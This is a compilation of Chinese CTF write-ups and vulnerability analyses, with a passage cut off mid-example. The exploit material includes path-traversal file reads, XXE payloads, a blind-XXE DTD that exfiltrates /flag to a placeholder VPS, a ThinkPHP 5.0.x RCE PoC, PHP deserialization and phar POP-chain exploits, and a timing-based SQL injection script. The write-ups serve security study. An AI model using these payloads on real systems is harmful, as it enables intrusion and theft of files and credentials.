FireShellCTF2019 Bad Injections解题记录

FireShellCTF2019 Bad Injections解题记录

原文投稿安全客:https://www.anquanke.com/post/id/170381

题目名称:Bad Injections

题目地址:http://68.183.31.62:94

貌似现在还没有关环境,这是整场比赛最简单的Web题…Web题质量很高,表哥们可以趁环境在去爽一下

主页面有四个功能,纯静态页面。右键about页面源码信息:

给个本地web目录

接着在list页面的源码里发现信息:

因为页面显示图片,url没有其他参数,猜测应该是readfile之类的函数读的文件。File+hash的方法,既然是ctf,那hash应该不会加key。下载一个文件试一下能不能成功

68.183.31.62:94/download?file=files/../../../../../etc/passwd&hash=ab56ade6fe16a65bce82a7cd833f13cc

这里让hash = md5(file),成功下载到了/etc/passwd

尝试去读/flag发现文件不存在,去读.bash_history也不存在..捷径失败…

看到之前list下载的test.txt内容是这样的

down一下download的源码,顺便fuzz一下Controllers的文件

68.183.31.62:94/download?file=files/../../app/Controllers/Download.php&hash=f350edcfda52eb0127c4410633efd260

字典只跑出来了个admin.php

看了源码感觉存在一个XXE或者是create_function的代码注入,因为找不到/flag所以利用XXE没什么卵用,应该就是代码注入点,但是要加载外部文本来引入正确xml文本才能进入函数判断。

尝试请求admin?url=xxx&order=xx死活获取不到页面,应该是路由没找对。在这卡了一会,请教腹黑师傅,才想起来去读入口文件。

68.183.31.62:94/download?file=files/../../app/Index.php&hash=1dfd7acd700544ea7d26b8368935c4e8

/app/index.php

<?php
ini_set('display_errors',1);
ini_set('display_startup_erros',1);
error_reporting(E_ALL);
require_once('Routes.php');

function __autoload($class_name){
  if(file_exists('./classes/'.$class_name.'.php')){
    require_once './classes/'.$class_name.'.php';
  }else if(file_exists('./Controllers/'.$class_name.'.php')){
    require_once './Controllers/'.$class_name.'.php';
  }

}

再去读路由/app/Routes.php,看看是个什么狗屁规则

<?php

Route::set('index.php',function(){
  Index::createView('Index');
});

Route::set('index',function(){
  Index::createView('Index');
});

Route::set('about-us',function(){
  AboutUs::createView('AboutUs');
});

Route::set('contact-us',function(){
  ContactUs::createView('ContactUs');
});

Route::set('list',function(){
  ContactUs::createView('Lista');
});

Route::set('verify',function(){   
  if(!isset($_GET['file']) && !isset($_GET['hash'])){
    Verify::createView('Verify');
  }else{
    Verify::verifyFile($_GET['file'],$_GET['hash']);  //设置session,file和hash对应请求文件
  }
});


Route::set('download',function(){
  if(isset($_REQUEST['file']) && isset($_REQUEST['hash'])){
    echo Download::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
  }else{
    echo 'jdas';
  }
});

Route::set('verify/download',function(){
  Verify::downloadFile($_REQUEST['file'],$_REQUEST['hash']);
});


Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); // xml
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

Route::set('custom/sort',function(){
  Custom::sort($_REQUEST['rss'],$_REQUEST['order']);
});
Route::set('index',function(){
 Index::createView('Index');
});

原来我只下载了download和admin页面,还有其它功能页面没下载到,看到了玄学的admin规则如下,原来只有本地才能请求到sort函数

Route::set('admin',function(){
  if(!isset($_REQUEST['rss']) && !isset($_REQUES['order'])){
    Admin::createView('Admin');
  }else{
    if($_SERVER['REMOTE_ADDR'] == '127.0.0.1' || $_SERVER['REMOTE_ADDR'] == '::1'){
      Admin::sort($_REQUEST['rss'],$_REQUEST['order']);
    }else{
     echo ";(";
    }
  }
});

找一下其他利用,再看Custom

Route::set('custom',function(){
  $handler = fopen('php://input','r');
  $data = stream_get_contents($handler); 
  if(strlen($data) > 1){
    Custom::Test($data);
  }else{
    Custom::createView('Custom');
  }
});

Custom::Test

class Custom extends Controller{
  public static function Test($string){
      $root = simplexml_load_string($string,'SimpleXMLElement',LIBXML_NOENT);
      $test = $root->name;
      echo $test;
  }
}

$data内容可控为php://input,Test函数再将$data作为xml文本解析,那么存在XXE的问题,验证了一下可以利用

联想到刚才admin页面只有本地才能请求,那就用Custom的XXE当跳板好了,测试一下是否能当跳板

poc:

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fyour_vps%2Fxxe.txt&order=1">]>
<note>
<name>&file;</name>
</note>


admin页面确实file_get_contents到了我vps的xxe文本。

尝试去构造正确的xml文本到执行到usort函数进行注入,warning不影响代码执行

http://vps/xxe.txt

<?xml version="1.0" encoding="utf-8"?>
<root>
<channel>
<item>
<link>@hpdoger.me</link>
</item>
<item>
<link>@souhu.com</link>
</item>
</channel>
</root>

POC

<?xml version='1.0'?> 
<!DOCTYPE name [<!ENTITY  file SYSTEM "http://localhost/admin?rss=http%3A%2F%2Fvps%2Fxxe.txt&order=id%29%3B%7Decho%28file_get_contents%28%27..%2F..%2F..%2Fda0f72d5d79169971b62a479c34198e7%27%29%29%3B%2F%2F">]>
<note>
<name>&file;</name>
</note>

安恒杯月赛19新年场WriteUp

安恒杯月赛19新年场WriteUp

Web

WEB1

题目代码

<?php  
@error_reporting(1); 
include 'flag.php';
class baby 
{   
    protected $skyobj;  
    public $aaa;
    public $bbb;
    function __construct() 
    {      
        $this->skyobj = new sec;
    }  
    function __toString()      
    {          
        if (isset($this->skyobj))  
            return $this->skyobj->read();      
    }  
}  

class cool 
{    
    public $filename;     
    public $nice;
    public $amzing; 
    function read()      
    {   
        $this->nice = unserialize($this->amzing);
        $this->nice->aaa = $sth;
        if($this->nice->aaa === $this->nice->bbb)
        {
            $file = "./{$this->filename}";        
            if (file_get_contents($file))         
            {              
                return file_get_contents($file); 
            }  
            else 
            { 
                return "you must be joking!"; 
            }    
        }
    }  
}  

class sec 
{  
    function read()     
    {          
        return "it's so sec~~";      
    }  
}  

if (isset($_GET['data']))  
{ 
    $Input_data = unserialize($_GET['data']);
    echo $Input_data; 
} 
else 
{ 
    highlight_file("./index.php"); 
} 
?>

考点

考点一:echo可以调用toString()函数用来返回flag.php内容

考点二:让$this->nice是一个非baby的类,就能绕过$str

考点三:unserialize()不会执行construct,外部不可控protected变量skyobj,但是序列化时可以放到construct内部控制

EXP

class baby 
{   
    protected $skyobj;  
    function __construct() 
    {      
    $this->skyobj = new cool;
    $this->skyobj->amzing = serialize(new sec);
    $this->skyobj->filename = "flag.php";
    }  

}

class sec 
{
    function read(){}
}

class cool 
{ 
    public $filename;     
    public $nice;
    public $amzing; 
}


$test = new baby();
echo urlencode(serialize($test));

WEB2

约束攻击登陆admin

登陆后盲注

EXP

#!/usr/bin/env python
# encoding: utf-8

import requests
import time


def login(payload):
    url = "http://106.12.21.77/Admin/User/Index?search[table]=flag/**/where/**/1/**/and/**/%s" % (payload)
    # print "[+] %s" % (url)
    before_time = time.time()
    cookies = {'PHPSESSID': '3kus5jrhoqav8te0kf74hglii7'}
    response = requests.get(url, cookies=cookies)
    # content = response.content
    after_time = time.time()
    offset = after_time - before_time
    # print "[*] Offset : %f" % (offset)
    if offset > 2.5:
        return True
    else:
        return False

def main():
    data = ""
    charaters = "0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ"
    for i in range(1, 40, 1):
        for j in charaters:
            payload = "if((mid((select/**/flag/**/from/**/flag),%d,1))='%s',sleep(3),0)%%23" % (i, j)
            if login(payload):
                data += str(j)
                print "[+] Found : %s" % (data)
                break


if __name__ == "__main__":
    main()

MISC

隐写

binwalk -e zhu.jpg

Stegsolve

MISC2

内存取证

volatility一把梭

volatility imageinfo -f memory #分析操作系统
volatility hashdump -f memory --profile=WinXPSP2x86 #查看当前操作系统中的 password hash

得到管理员hash如下:

Administrator:500:0182bd0bd4444bf867cd839bf040d93b:c22b315c040ae6e0efee3518d830362b:::

所以c22b315c040ae6e0efee3518d830362b即为管理员密码的md5值,解出来是123456789,再md5一下就行。

相关链接

内存取证工具 volatility 使用说明:https://www.restran.net/2017/08/10/memory-forensics-tool-volatility/

CRYPTO

键盘密码

ypau -> flag

ThinkPHP5.0.0~5.0.23RCE漏洞分析

ThinkPHP5.0.0~5.0.23RCE漏洞分析

最近TP5一直在爆洞,既然浪潮在,就有必要跟进分析一下。但是由于自己对TP5框架流程不是很了解,所以有了这篇边摸索边分析的文章。

TP5框架流程

应用启动在App.php的run()函数,说一下自己对这个框架的大致理解

用户请求 -> 路由解析 -> 调度请求 -> 执行操作 -> 响应输出

App.php代码部分流程如下: (自己的理解,可能有不对的地方,望斧正
1、应用初始化initModule()
2、run()->routeCheck()对用户的get请求进行路由检测
3、若注册了路由则返回相应的调度值,若路由检测无效(即没有注册路由)则返回调度值为module
4、根据调度值,处理不同请求

switch (self::$dispatch['type']) {
    case 'redirect':
        header('Location: ' . self::$dispatch['url'], true, self::$dispatch['status']);
        break;

    case 'module':
       $data = self::module(self::$dispatch['module'], $config);
        break;

    case 'controller':
        $data = Loader::action(self::$dispatch['controller'], self::$dispatch['params']);
        break;

    case 'method':
        $data = self::invokeMethod(self::$dispatch['method'], self::$dispatch['params']);
        break;

    case 'function':
        $data = self::invokeFunction(self::$dispatch['function'], self::$dispatch['params']);
        break;

    default:
        throw new Exception('dispatch type not support', 10008);
}

5、执行处理,返回输出。

TP5中get的路由请求参数为s。若get请求时s参数不存在,则调度类型默认值为module,调度方法实现self::module(),即进入MVC的处理方式:Controller层调用Module处理数据返回给View到用户。

所以核心操作就是调度请求。

回到正题

这个漏洞的产生是因为对_method参数过滤不严导致$filter变量覆盖

POC

http://127.0.0.1/thinkphp/thinkphp_5.0.22_with_extend/public/index.php?s=captcha

POST:
_method=__construct&filter[]=system&method=get&get[]=whoami

分析

App.php部分代码:

<?php
/**
* 执行应用程序
* @access public
* @param  Request $request 请求对象
* @return Response
* @throws Exception
*/
public static function run(Request $request = null)
{
    $request = is_null($request) ? Request::instance() : $request;

    try {
        ...
        // 获取应用调度信息
        $dispatch = self::$dispatch;

        // 未设置调度信息则进行 URL 路由检测
        if (empty($dispatch)) {
            $dispatch = self::routeCheck($request, $config);
        }
        ...

        $data = self::exec($dispatch, $config);
    } catch (HttpResponseException $exception) {
        ...
    }
    ...
}

看到$dispatch = self::routeCheck($request, $config),$request是http请求对象,通过调用Request类中的method方法来获取当前的http请求类型,该函数的实现在thinkphp/library/think/Request.php:512

<?php
/**
    * 当前的请求类型
    * @access public
    * @param bool $method  true 获取原始请求类型
    * @return string
    */
public function method($method = false)
{
    if (true === $method) {
        // 获取原始请求类型
        return $this->server('REQUEST_METHOD') ?: 'GET';
    } elseif (!$this->method) {
        if (isset($_POST[Config::get('var_method')])) {
            $this->method = strtoupper($_POST[Config::get('var_method')]);
            $this->{$this->method}($_POST);
        } elseif (isset($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE'])) {
            $this->method = strtoupper($_SERVER['HTTP_X_HTTP_METHOD_OVERRIDE']);
        } else {
            $this->method = $this->server('REQUEST_METHOD') ?: 'GET';
        }
    }
    return $this->method;
}

var_method的伪装变量值为_method

因此通过POST一个_method参数,即可进入判断,并执行$this->{$this->method}($_POST)语句。因此通过指定_method即可完成对该类的任意方法的调用,其传入对应的参数即对应的$_POST数组。在poc里看到传入的method为construct,代码如下

<?php
protected function __construct($options = [])
{
    foreach ($options as $name => $item) {
        if (property_exists($this, $name)) {
            $this->$name = $item;
        }
    }
    if (is_null($this->filter)) {
        $this->filter = Config::get('default_filter');
    }

    // 保存 php://input
    $this->input = file_get_contents('php://input');
}

利用foreach循环,和POST传入数组即可对Request对象的成员属性进行覆盖。经过覆盖后的结果

这里也就解释了poc中为什么要传入method=get。为了使$this->method=get才能对应上面Request.php的method()方法返回值,否则程序报错

request对象差不多清楚了,跟进self::routeCheck()

<?php
/**
 * URL路由检测(根据PATH_INFO)
 * @access public
 * @param  \think\Request $request 请求实例
 * @param  array          $config  配置信息
 * @return array
 * @throws \think\Exception
 */
public static function routeCheck($request, array $config)
{
    $path   = $request->path();  //path=captcha
    $depr   = $config['pathinfo_depr'];
    $result = false;

    // 路由检测(根据路由定义返回不同的URL调度)
    $result = Route::check($request, $path, $depr, $config['url_domain_deploy']);

    return $result;

根据$request的get请求进行路由检测,在vendor/topthink/think-captcha/src/helper.php中captcha注册了路由,因此其对应的URL调度值为method

再返回App.php继续执行$data = self::exec($dispatch, $config);

<?php
protected static function exec($dispatch, $config)
{
    switch ($dispatch['type']) {
        ...
        case 'method': // 回调方法
            $vars = array_merge(Request::instance()->param(), $dispatch['var']);
            $data = self::invokeMethod($dispatch['method'], $vars);
            break;
        ...
    }
    return $data;
}

介绍的,根据调度值的不同处理不同请求,此时我们的dispatch为method。继续跟进Request::instance()->param()

<?php
public function param($name = '', $default = null, $filter = '')
{
    if (empty($this->mergeParam)) {
        $method = $this->method(true);
        ...
    }
    ...
    // 当前请求参数和URL地址中的参数合并
    $this->param      = array_merge($this->param, $this->get(false), $vars, $this->route(false));
    $this->mergeParam = true;
    ...
    return $this->input($this->param, $name, $default, $filter);
}

array_merge用来合并参数,此时$this->param为一个数组,且第一个值为我们刚才覆盖的get值

继续跟进$this->input($this->param, $name, $default, $filter)

<?php
public function input($data = [], $name = '', $default = null, $filter = '')
{
    ...
    // 解析过滤器
    $filter = $this->getFilter($filter, $default);
    if (is_array($data)) {
        array_walk_recursive($data, [$this, 'filterValue'], $filter);
        reset($data);
    }
    ...
}

跟进getFilter

protected function getFilter($filter, $default)
{
    if (is_null($filter)) {
        $filter = [];
    } else {
        $filter = $filter ?: $this->filter;
        if (is_string($filter) && false === strpos($filter, '/')) {
            $filter = explode(',', $filter);
        } else {
            $filter = (array) $filter;
        }
    }

    $filter[] = $default;
    return $filter;
}

到这逻辑就很清楚了,在input函数里面获得$filter值为我们之前覆盖的$this->filter,$data是实参传入的$this->param数组,接着调用 array_walk_recursive()进行自定义函数处理,函数名为filterValue()

从而调用call_user_func进行RCE

官方补丁

看一下diff

触发漏洞点就是method可控,进而调用任意函数。补丁对参数method进行了白名单

参考链接

  1. https://xz.aliyun.com/t/3845#toc-1
  2. https://github.com/top-think/framework/commit/4a4b5e64fa4c46f851b4004005bff5f3196de003
  3. https://www.kancloud.cn/zmwtp/tp5/119426
  4. https://www.kancloud.cn/zmwtp/tp5/119428

Code-breaking-medium之lumenserial

Code-breaking-medium之lumenserial

一道pop链很深的题,复现了一天,到目前已经有九个人做了。太菜了,只能照着柠檬和kk师傅的wp来学习思路。通过这次的复现,感受到耐心对审计的importance。记录一下在学习wp过程中得到的他见与己见。

题目地址:https://code-breaking.com/puzzle/7/

前期

一个ueditor的页面

在App\Http\Controllers的EditorController.php里提供了远程下载功能

private function download($url)
{
    $content = file_get_contents($url);

url可控为以GET形式传入的source值,由于禁止了以下函数,所以只能利用Phar反序列化再打通pop链

system,shell_exec,passthru,exec,popen,proc_open,pcntl_exec,mail,apache_setenv,mb_send_mail,dl,set_time_limit,ignore_user_abort,symlink,link,error_log

Searching POP chain

因为phar反序列化不会反序列化类中的具体函数,所以要找两个魔法方法入口:__destruct|__wakeup这点在柠檬师傅的博客园看到的,也算是经验之谈了。

首先在namespace Illuminate\Broadcasting里找到PendingBroadcast类存在destruct

class PendingBroadcast
{   
public function __construct(Dispatcher $events, $event)
{
    $this->event = $event;
    $this->events = $events;
}
public function __destruct()
    {
        $this->events->dispatch($this->event);
    }
}

Dispatcher是一个接口,所以这里$event、$events应该都是一个继承于这个接口的obj。但是看了下,一共就只有两个类继承于Dispatcher(BusFake、EventFake),且都无法利用。所以转向去寻找存在__call方法的类,看是否可以利用。

为什么要找存在_call方法的类的?根据PHP文档,当一个类里没有定义的方法时,在执行这个不存在方法时,它就会自动调用该类里的__call方法来实现方法重载。

所以要找一个有_call方法的类–>类ValidGenerator。

ValidGenerator

public function __call($name, $arguments)
{
    $i = 0;
    do {
        $res = call_user_func_array(array($this->generator, $name), $arguments);
        $i++;
        if ($i > $this->maxRetries) {
            throw new \OverflowException(sprintf('Maximum retries of %d reached without finding a valid value', $this->maxRetries));
        }
    } while (!call_user_func($this->validator, $res));

    return $res;
}

$name的值就是dispatch。如果我们能控制$res,就相当于能控制call_user_func的函数和参数

由于在call_user_func_array()中,Generator类没有定义dispatch函数,所以又会调用Generator类的_call函数,跟进Generator类

Generator类

public function __call($method, $attributes) 
{
    return $this->format($method, $attributes);
}

继续跟进format方法

public function format($formatter, $arguments = array())
{
    return call_user_func_array($this->getFormatter($formatter), $arguments);  
}

$formatter的值不可控,且初值为dispatch,继续跟进getFormatter()

public function getFormatter($formatter)
{
    if (isset($this->formatters[$formatter])) {
        return $this->formatters[$formatter];
    }

在这步似乎看到了希望,因为它return 了一个数组的值,就比较好控。想办法让$this->getFormatter($formatter)的值是一个数组,即第一次getFormatter()返回的值是数组。数组只有一个值仍为getFormatter,此时$arguemnts为空,因为call_user_func_array,它就会再调用一次getFormatter方法,参数为空。

根据getFormatter方法当参数为空时,返回formatters成员的第一个值。

所以我们需要有两个Generator类:第一个类的formatters成员的键名为dispacth,键值为一个数组(内容为第二个Generator类名$ob2、方法名getFormatter);第二个Generator类的formatters键名随意,键值为我们想要控制的类,此时$res就算可控了。

回身处理validator

那么$this->validator如何处理呢?

这里看到师傅们找的了一个跳板类,赋值给了validator

phpunit\phpunit\src\Framework\MockObject\Stub\ReturnCallback.php:26

namespace PHPUnit\Framework\MockObject\Stub;
class ReturnCallback implements Stub
{
public function invoke(Invocation $invocation)
{
    return \call_user_func_array($this->callback, $invocation->getParameters());
}

invocation接口实现方法

getParameters()是接口的一个方法,用来访问私有属性parameters的值

找到调用这个接口的类就行了,这里是

namespace PHPUnit\Framework\MockObject\Invocation;
class StaticInvocation implements Invocation, SelfDescribing
{
private $parameters;
}

这个类可以通过上面getFormatter方法控制。至此,invoke()里call_user_func_array中的两个参数我们都可控了

构建POC思路

给validator一个数组(内容为实例化的ReturenCallback类、invoke方法名)。即$this->validator参数就成了invoke(),从而让call_user_func调用invoke方法,invoke方法中的Call_user_func_arrary再执行可控函数来getshell

总结一下,Invoke的回调函数能getshell的原因有二:
1、$this->callback 反序列化可控
2、继承invocation的类名返回值可控(getFormatter实现)

Final-EXP

看到kk师傅有一个exp写的很好,把审计流程串成EXP,稍作改动,这里贴出来学习下

<?php
namespace Illuminate\Broadcasting{
    class PendingBroadcast{
        function __construct(){
            $this->events = new \Faker\ValidGenerator();
            $this->event = 'everything';
        }
    }
}

namespace PHPUnit\Framework\MockObject\Invocation{
    class StaticInvocation{
        function __construct(){
            $this->parameters = array('/var/www/html/upload/hpdoger.php','<?php print_r(file_get_contents('../../flag_larave1_b0ne'));?>');
        }
    }
}

namespace PHPUnit\Framework\MockObject\Stub{
    class ReturnCallback{
        function __construct(){
            $this->callback = 'file_put_contents';
        }
    }
}

namespace Faker{
    class ValidGenerator{
        function __construct(){
            $evilobj = new \PHPUnit\Framework\MockObject\Invocation\StaticInvocation();
            $g1 = new \Faker\Generator(array('everything' => $evilobj ));
            $g2 = new \Faker\Generator(array("dispatch" => array($g1, "getFormatter")));

            $rc = new \PHPUnit\Framework\MockObject\Stub\ReturnCallback();

            $this->validator = array($rc, "invoke");
            $this->generator = $g2;
            $this->maxRetries = 10000;
        }
    }

    class Generator{
        function __construct($form){
            $this->formatters = $form;
        }
    }

}
namespace{
    $exp = new Illuminate\Broadcasting\PendingBroadcast();
    print_r(urlencode(serialize($exp)));

    // phar
    $p = new Phar('./hpdoger.phar', 0);
    $p->startBuffering();
    $p->setStub('GIF89a<?php __HALT_COMPILER(); ?>');
    $p->setMetadata($exp);
    $p->addFromString('1.txt','text');
    $p->stopBuffering();
}

上传文件,接着进行反序列化

http://51.158.73.123:8080/server/editor?action=Catchimage&source[]=phar:///var/www/html/upload/image/9af04fac3af8c9d11572234ca3c4c98b/201901/09/26b5b639d9f75a9426cf.gif

再次膜前辈师傅们

从两道CTF题目学习XXE漏洞

从两道CTF题目学习XXE漏洞

接触安全到现在,一直没有碰xxe相关的知识。一是觉得xml类型的东西太概念化了,二是觉得实用性不大,因为现在很少见到用xml形式来传输数据。不巧的是最近35CTF就有一道blind xxe题目,干脆把之前的坑填了,从零来学习一下XXE漏洞

XML相关知识

什么是XML

XML被设计为传输和存储数据,其焦点是数据的内容,其把数据从HTML分离,是独立于软件和硬件的信息传输工具。

通俗点来说就是存储数据的一种格式

它的形式类似于html,都是标签闭合,且有根元素和子元素说法,例如note就是根元素,from和to都是子元素

什么是实体

实体有以下四种:

  • 内置实体 (Built-in entities)
  • 字符实体 (Character entities)
  • 通用实体 (General entities)
  • 参数实体 (Parameter entities)

实体根据引用方式,还可分为内部实体与外部实体。这里简要说一下内部实体和引发XXE漏洞的外部实体、参数实体

内部实体

即在xml文档中自定义一个实体
格式:<!ENTITY 实体名称 "实体的值">,这是一种引入形式,好比C中引入变量都要声明变量,只不过在XML里引入的不叫变量,而叫做实体

外部实体

格式:<!ENTITY 实体名称 SYSTEM "URI">,在xml里不给实体赋予具体的值,而是通过某URI引入,叫做外部实体引入

下面是支持使用的URI

关于外部实体引用file协议的例子如下:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE root [<!ENTITY  file SYSTEM "file:///etc/passwd">]>
<root>&file;</root>

参数实体

<!ENTITY % 实体名称 "实体的值">
或者
<!ENTITY % 实体名称 SYSTEM "URI">

外部引入参数实体的例子:

<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE a [
    <!ENTITY % name SYSTEM "file:///etc/passwd">
    %name;
]>

注意:%name(参数实体)是在DTD中被引用的,而其余实体是在xml文档中被引用的。

什么是DTD

W3C定义:DTD即文档类型定义(document type define),可定义合法的XML文档构建模块。它使用一系列合法的元素来定义文档的结构。
DTD 可被成行地声明于 XML 文档中,也可作为一个外部引用。

我理解的DTD是构建一个区域,声明在区域中要引入的实体\元素

内部声明DTD

语法:<!DOCTYPE 根元素 [元素声明]>

即在xml文档内部用DTD声明:我的根元素是root,在根元素下有to、from这些元素。

其实,你声明的元素和下面的元素名称不对应时也会进行解析。所以我觉得用DTD的用处就是给使用者一个目录栏,为了告诉他们下面的元素结构是什么样子的,而目录栏标题的名字是否正确不做强制要求。

PS:#PCDATA的意思是解析字符数据

外部声明DTD

语法:<!DOCTYPE 根元素 SYSTEM "文件名">,即引入外部的dtd声明,其中dtd文件就是引入的实体

XXE

XXE漏洞全称XML External Entity Injection即xml外部实体注入漏洞,XXE漏洞发生在应用程序解析XML输入时,没有禁止外部实体的加载,导致可加载恶意外部文件,造成文件读取、命令执行、内网端口扫描、攻击内网网站、发起dos攻击等危害。

上文的外部实体引入部分,可以调用URI来加载数据,这也是造成漏洞点的地方。

有回显的XXE

jarvisoj平台上的题目

题目描述:请设法获得目标机器/home/ctf/flag.txt中的flag值

35CTF Blind XXE

这个是XXE漏洞能够利用的普遍场景,一般能利用XXE的地方有回显的机率几乎为0。利用blind xxe把数据外带到自己的服务器

代码分析

代码如下:

<?php
  function __autoload($cls) {
    include $cls;
  }

  class Black {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#0d0d0d");
      if ($default) ini_set("highlight.default", "#0d0d0d");
      if ($keyword) ini_set("highlight.keyword", "#0d0d0d");

      if ($store) {
            setcookie('theme', "Black-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  class Green {
    public function __construct($string, $default, $keyword, $store) {
      if ($string) ini_set("highlight.string", "#00fb00");
      if ($default) ini_set("highlight.default", "#00fb00");
      if ($keyword) ini_set("highlight.keyword", "#00fb00");

      if ($store) {
            setcookie('theme', "Green-".$string."-".$default."-".$keyword, 0, '/');
      }
    }
  }

  if ($_=@$_GET['theme']) {
    if (in_array($_, ["Black", "Green"])) {
      if (@class_exists($_)) {
        ($string = @$_GET['string']) || $string = false;
        ($default = @$_GET['default']) || $default = false;
        ($keyword = @$_GET['keyword']) || $keyword = false;

        new $_($string, $default, $keyword, @$_GET['store']);
      }
    }
  } else if ($_=@$_COOKIE['theme']) {
    $args = explode('-', $_);
    if (class_exists($args[0])) {
      new $args[0]($args[1], $args[2], $args[3], '');
    }
  } else if ($_=@$_GET['info']) {
    phpinfo();
  }

  highlight_file(__FILE__);

关于代码逻辑部分简单说一下:

theme、string、default、keyword参数决定cookie,如果cookie存在则对cookie的四个参数以“-”号分割处理:把第一部分当作类名、其余三部分当作初始参数进行实例化。

__autoload()方法没什么用,因为php7.2+以后此方法被废弃了,而环境刚好是7.21,所以是出题人用来混淆的。

既然代码没什么可用的类,就看看能不能实例化可以用的php原生类,这里复盘,SimpleXMlElement可用

关于这个类的具体使用介绍:http://php.net/manual/zh/class.simplexmlelement.php

这里仅仅大致用法:

所以思路就是Blind XXE,让服务器远程解析我们服务器上的xml,获取的数据再次发送到我们的服务器上。

一开始构造xml的poc花了半天时间,主要踩了两个坑:

1、在内部DTD声明中,参数实体不能嵌套参数实体使用,即下方的用法是不允许的,:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % file "hpdoger">
<!ENTITY % send SYSTEM 'http://vps/?file=%file;'>

%send;
]>

只能引入外部声明DTD才能进行参数实体嵌套使用,但是嵌套使用还必须满足下面的一个条件

2、 这点是key师傅点播到的:在引入外部DTD声明之后,想要嵌套其它参数实体就必须要用一个“中间参数实体”去搭桥,这个中间参数实体可以理解为eval。具体实现方法看下面的POC

POC

vps上的xml文件如下:

<?xml version="1.0"?>

<!DOCTYPE ANY[

<!ENTITY % send SYSTEM 'http://your_vps/test2.dtd'>

%send;
%test;
%back;
]>

vps上的外部DTD声明文件test2.dtd如下:

<!ENTITY % file SYSTEM "php://filter/read=convert.base64-encode/resource=file:///flag">

<!ENTITY % test "<!ENTITY &#37; back SYSTEM 'http://your_vps/?file=%file;'>">

用Curl发送请求,–cookie指定请求cookie参数

curl -v --cookie "theme=SimpleXMlElement-http://your_vps/xxe.xml-2-true" "http://35.207.132.47:82"

查看web日志即能看到base64加密的flag

其中:

  • 外部实体send引入外部DTD声明
  • 参数实体test即为“中间参数实体”
  • %为了避免编码问题
  • base64-encode是防止文件内容有空格导致http传输时被截断

题外话

关于FUZZ

关于服务端接收请求,如果已经有lnmp的环境最好。没有的话,这里推荐两个项目:

  1. TheTwitchy:https://github.com/TheTwitchy/xxer

  2. docker快速搭建lnmp+ssh(自己的项目求start:):

https://github.com/Hpd0ger/docker-lnmp

关于XXE漏洞挖掘

XML作为介质传输流程应该是这样的:

用户传输敏感数据->xml形式传输->后端解析xml(loadXML)->将各DOM节点转化为SimpleXML节点(最终为数组形式,节点名为键名,节点值为键值)->提取对应节点键值->数据提取/用户判断

漏洞点就在后端解析xml。

当后端使用loadXML()的方法解析xml文档时,会解析恶意xml语句即外部实体的引用,从而造成漏洞。

在挖掘漏洞的时候尤其注意两点:

  1. content-type: application/xml
  2. xml形式的数据传输e.g:<user>admin</user>

关于防御

  1. 对于PHP,禁止引用外部实体

    libxml_disable_entity_loader(true);
  2. 对于其它语言,其实做好过滤就行了。但是很少见到用xml形式的数据传输了..说多了也没啥用

Code-Breaking-Puzzles WriteUp

Code-Breaking-Puzzles WriteUp

最近终于可以忙里偷闲来做一下P神的题目,真的能学到不少东西,对底层的一些漏洞知识学习很有帮助。感谢网上已经有好多版本的wp可以提供参考,有一些知识实在是盲区。写一些笔记,不笱求与师傅们观点相异,如果能让看文章的人更能理解这些洞点,也算是我的荣幸了。

easy - function

不得不说P神的代码简洁又暴力

<?php
$action = $_GET['action'] ?? '';
$arg = $_GET['arg'] ?? '';

if(preg_match('/^[a-z0-9_]*$/isD', $action)) {
    show_source(__FILE__);
} else {
    $action('', $arg);
}

这里??是php7+的用法,$_GET[‘action’]非空则 $action = $_GET[‘action’]

应该是利用action做函数名来执行命令,但$action的首尾做了正则限制,不能直接是函数名。

P神小密圈说到的方式用\可以绕过。原因就是\funciton是php原生函数的写法,就是以命名空间+函数名的方法来表示函数。而原生函数的命名空间是”"。这种用法倒是在tp框架里见过,当调用一个类的时候会指明命名空间”\think\db”。虽然很无感命名空间的说法,但是感觉和java里的package类似

接着就是调用Create_function函数来代码注入了,具体原理参考:http://blog.51cto.com/lovexm/1743442

直接上Poc:
action=create_function&arg=;}print_r(file_get_contents('../flag_h0w2execute_arb1trary_c0de'));//

别忘了注释//,否则逃脱不了函数

easy - pcrewaf

<?php
function is_php($data){
    return preg_match('/<\?.*[(`;?>].*/is', $data);
}

if(empty($_FILES)) {
    die(show_source(__FILE__));
}

$user_dir = 'data/' . md5($_SERVER['REMOTE_ADDR']);
$data = file_get_contents($_FILES['file']['tmp_name']);
if (is_php($data)) {
    echo "bad request";
} else {
    @mkdir($user_dir, 0755);
    $path = $user_dir . '/' . random_int(0, 10) . '.php';
    move_uploaded_file($_FILES['file']['tmp_name'], $path);

    header("Location: $path", true, 303);
} 

逻辑

又是一段粗暴的代码。逻辑很清晰:上传文件->检测是否包含php语句->否->跳转到上传的文件

很明显应该是preg_match的洞点,但是当时并不知道具体突破的思路,看了一些文章才知道,原来php用的是PCRE库的。那么什么是PCRE和NFA正则引擎?

PCRE

PCRE(Perl Compatible Regular Expressions中文含义:perl语言兼容正则表达式)是一个用C语言编写的正则表达式函数库

NFA引擎

**NFA:从起始状态开始,一个字符一个字符地读取输入串,并与正则表达式进行匹配,如果匹配不上,则进行回溯,尝试其他状态**

分析

NFA其实就像是用栈的结构来存储匹配成功的字符串,如果匹配不到下一个,则出栈进行上一个字符串匹配。就拿这段正则语句来说

preg_match('/<\?.*[(`;?>].*/is', $data)

如果我们输入<?php print;abcd

那么它匹配的流程应该是这样的:
<?php print;abc
<?php print;ab
<?php print;a
<?php print;
<?php print;abcd

